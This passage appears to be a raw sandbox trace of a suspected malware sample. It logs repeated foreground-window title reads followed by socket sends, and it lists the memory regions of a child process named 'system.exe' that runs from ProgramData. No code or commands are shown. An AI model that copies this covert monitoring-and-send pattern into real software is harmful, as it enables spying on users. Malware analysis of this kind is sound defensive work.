hWnd=0x201d0, lpString=0x502350, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0279.356] CoTaskMemFree (pv=0x502350) [0279.362] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1159823402416) returned 1 [0279.362] SetEvent (hEvent=0x300) returned 1 [0279.364] select (in: nfds=0, readfds=0x29569e0, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x29569e0, writefds=0x0, exceptfds=0x0) returned 0 [0279.365] send (s=0x7d0, buf=0x2958438*, len=2837, flags=0) returned 2837 [0279.369] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0279.369] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0279.477] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0279.478] SetEvent (hEvent=0x300) returned 1 [0279.482] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1159835425464) returned 1 [0280.487] GetForegroundWindow () returned 0x201d0 [0280.487] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0280.487] GetWindowTextW (in: hWnd=0x201d0, lpString=0x502350, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0280.488] CoTaskMemFree (pv=0x502350) [0280.491] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1159936338160) returned 1 [0280.491] SetEvent (hEvent=0x300) returned 1 [0280.492] select (in: nfds=0, readfds=0x299ea88, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x299ea88, writefds=0x0, exceptfds=0x0) returned 0 [0280.492] send (s=0x7d0, buf=0x29a04e0*, len=2837, flags=0) returned 2837 [0280.493] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0280.493] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0280.584] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0280.584] SetEvent (hEvent=0x300) returned 1 [0280.588] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1159946079319) returned 1 [0281.596] GetForegroundWindow () returned 0x100ec [0281.596] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0281.596] GetWindowTextW (in: hWnd=0x100ec, lpString=0x502350, nMaxCount=1024 | out: lpString="FolderView") returned 10 [0281.596] CoTaskMemFree (pv=0x502350) [0281.600] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1160047272560) returned 1 [0281.600] SetEvent (hEvent=0x300) returned 1 [0281.602] select (in: nfds=0, readfds=0x27cd058, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x27cd058, writefds=0x0, exceptfds=0x0) returned 0 [0281.602] send (s=0x7d0, buf=0x27cea68*, len=2801, flags=0) returned 2801 [0281.603] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0281.603] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0283.697] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0283.697] SetEvent (hEvent=0x300) returned 1 [0283.701] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1160257332498) returned 1 [0284.715] GetForegroundWindow () returned 0x201d0 [0284.715] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0284.715] GetWindowTextW (in: hWnd=0x201d0, lpString=0x502350, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0284.716] CoTaskMemFree (pv=0x502350) [0284.719] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1160359158241) returned 1 [0284.719] SetEvent (hEvent=0x300) returned 1 [0284.720] select (in: nfds=0, readfds=0x2a2ffc0, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x2a2ffc0, writefds=0x0, exceptfds=0x0) returned 0 [0284.720] send (s=0x7d0, buf=0x2a31a18*, len=2837, flags=0) returned 2837 [0284.724] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0284.724] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0286.865] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0286.865] SetEvent (hEvent=0x300) returned 1 [0286.870] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1160574205884) returned 1 [0287.872] GetForegroundWindow () returned 0x201d0 [0287.873] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0287.873] GetWindowTextW (in: hWnd=0x201d0, lpString=0x502350, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0287.873] CoTaskMemFree (pv=0x502350) [0287.878] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1160675059661) returned 1 [0287.878] SetEvent (hEvent=0x300) returned 1 [0287.880] select (in: nfds=0, readfds=0x2967398, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x2967398, writefds=0x0, exceptfds=0x0) returned 0 [0287.881] send (s=0x7d0, buf=0x2968df0*, len=2837, flags=0) returned 2837 [0287.882] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0287.882] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0295.276] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0295.276] SetEvent (hEvent=0x300) returned 1 [0295.282] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1161415449557) returned 1 [0296.292] GetForegroundWindow () returned 0x201d0 [0296.292] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0296.292] GetWindowTextW (in: hWnd=0x201d0, lpString=0x502350, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0296.292] CoTaskMemFree (pv=0x502350) [0296.298] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1161517034458) returned 1 [0296.298] SetEvent (hEvent=0x300) returned 1 [0296.299] select (in: nfds=0, readfds=0x2ab7ab0, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x2ab7ab0, writefds=0x0, exceptfds=0x0) returned 0 [0296.301] send (s=0x7d0, buf=0x2ab9508*, len=2837, flags=0) returned 2837 [0296.302] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0296.302] recv (s=0x7d0, buf=0x24fa270, len=4096, flags=0) Thread: id = 341 os_tid = 0xfa0 [0234.863] CoGetContextToken (in: pToken=0x1ecaf8f0 | out: pToken=0x1ecaf8f0) returned 0x0 [0234.863] IUnknown:QueryInterface (in: This=0x4b00f0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ecaf928 | out: ppvObject=0x1ecaf928*=0x4b0108) returned 0x0 [0234.863] IComThreadingInfo:GetCurrentThreadType (in: This=0x4b0108, pThreadType=0x1ecaf998 | out: pThreadType=0x1ecaf998*=0) returned 0x0 [0234.864] IUnknown:Release (This=0x4b0108) returned 0x1 Thread: id = 348 os_tid = 0x4f0 Thread: id = 355 os_tid = 0xcd0 Thread: id = 356 os_tid = 0xd08 [0244.737] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0244.737] RoInitialize () returned 0x1 [0244.737] RoUninitialize () returned 0x0 [0245.039] CoUninitialize () Thread: id = 357 os_tid = 0x10ec Thread: id = 360 os_tid = 0x1070 Process: id = "44" image_name = "system.exe" filename = "c:\\users\\all users\\application data\\system.exe" page_root = "0x3fdce000" os_pid = "0xab4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x358" cmd_line = "\"C:\\Users\\All Users\\Application Data\\System.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4472 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4473 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4474 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4475 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4476 start_va = 0x9f0000 end_va = 0xbe9fff monitored = 1 entry_point = 0xbe131e region_type = mapped_file name = "system.exe" filename = "\\ProgramData\\System.exe" (normalized: "c:\\programdata\\system.exe") Region: id = 4477 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4478 start_va = 0x7ff5ffc40000 end_va = 0x7ff5ffc62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffc40000" filename = "" Region: id = 4479 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4481 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 4482 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4751 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4752 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4753 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4754 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4755 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4756 start_va = 0x7ff5ffb40000 end_va = 0x7ff5ffc3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffb40000" filename = "" Region: id = 4757 start_va = 0x170000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4758 start_va = 0x500000 end_va = 0x5bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5431 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5432 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 5433 start_va = 0x7ff5ffac0000 end_va = 0x7ff5ffb3dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 5434 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5435 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5436 start_va = 0x5c0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 5437 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5438 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 5439 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5440 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5441 start_va = 0x180000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5442 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5443 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 5444 start_va = 0x7ffa624c0000 end_va = 0x7ffa6255cfff monitored = 1 entry_point = 0x7ffa624c1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 6288 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6289 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 6290 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6291 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6292 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6324 start_va = 0x1a0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1a12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6325 start_va = 0x6c0000 end_va = 0x847fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 6326 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6522 start_va = 0x850000 end_va = 0x9d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 6523 start_va = 0xbf0000 end_va = 0x1feffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bf0000" filename = "" Region: id = 6524 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 6525 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 6526 start_va = 0x1ff0000 end_va = 0x21e2fff monitored = 1 entry_point = 0x21e131e region_type = mapped_file name = "system.exe" filename = "\\ProgramData\\System.exe" (normalized: "c:\\programdata\\system.exe") Region: id = 6527 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6528 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6566 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6567 start_va = 0x7ffa623c0000 end_va = 0x7ffa624b6fff monitored = 0 entry_point = 0x7ffa623e4d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 6819 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 6820 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 7085 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 7086 start_va = 0x7ff9ff1a0000 end_va = 0x7ff9ff1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1a0000" filename = "" Region: id = 7087 start_va = 0x7ff9ff1b0000 end_va = 0x7ff9ff1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1b0000" filename = "" Region: id = 7088 start_va = 0x7ff9ff1c0000 end_va = 0x7ff9ff24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1c0000" filename = "" Region: id = 7209 start_va = 0x7ff9ff250000 end_va = 0x7ff9ff2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff250000" filename = "" Region: id = 7210 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 7211 start_va = 0x1ff0000 end_va = 0x1ff0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 7212 start_va = 0x2000000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 7213 start_va = 0x2050000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 7214 start_va = 0x2050000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 7215 start_va = 0x2160000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 7216 start_va = 0x2000000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 7217 start_va = 0x2040000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 7218 start_va = 0x2170000 end_va = 0x1a16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 7464 start_va = 0x1a170000 end_va = 0x1a4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a170000" filename = "" Region: id = 7465 start_va = 0x1a4e0000 end_va = 0x1a5ecfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a4e0000" filename = "" Region: id = 7466 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 7467 start_va = 0x1a5f0000 end_va = 0x1a6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5f0000" filename = "" Region: id = 8762 start_va = 0x1a6f0000 end_va = 0x1aa26fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9085 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 9174 start_va = 0x1aa30000 end_va = 0x1ab2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa30000" filename = "" Region: id = 9175 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9176 start_va = 0x5c0000 end_va = 0x67ffff monitored = 0 entry_point = 0x5e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9177 start_va = 0x5c0000 end_va = 0x69cfff monitored = 0 entry_point = 0x61e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9178 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9179 start_va = 0x1ab30000 end_va = 0x1ad1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ab30000" filename = "" Region: id = 9657 start_va = 0x1ab30000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ab30000" filename = "" Region: id = 9658 start_va = 0x1ad10000 end_va = 0x1ad1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad10000" filename = "" Region: id = 9659 start_va = 0x7ff5ffaa0000 end_va = 0x7ff5ffb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ffaa0000" filename = "" Region: id = 9660 start_va = 0x7ff5ffa90000 end_va = 0x7ff5ffa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ffa90000" filename = "" Region: id = 9878 start_va = 0x7ff9ff2c0000 end_va = 0x7ff9ff2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2c0000" filename = "" Region: id = 9879 start_va = 0x7ff9ff2d0000 end_va = 0x7ff9ff2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2d0000" filename = "" Region: id = 9951 start_va = 0x7ff9ff2e0000 end_va = 0x7ff9ff31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2e0000" filename = "" Region: id = 9952 start_va = 0x7ffa621f0000 end_va = 0x7ffa622fdfff monitored = 1 entry_point = 0x7ffa621f1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 9953 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9954 start_va = 0x1ad20000 end_va = 0x1ae1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 9955 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 10346 start_va = 0x7ffa5c790000 end_va = 0x7ffa5d3d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 10376 start_va = 0x7ffa5be00000 end_va = 0x7ffa5c781fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 10406 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10407 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10408 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10409 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10433 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10434 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 10459 start_va = 0x1ae20000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae20000" filename = "" Region: id = 10469 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10523 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10544 start_va = 0x5d0000 end_va = 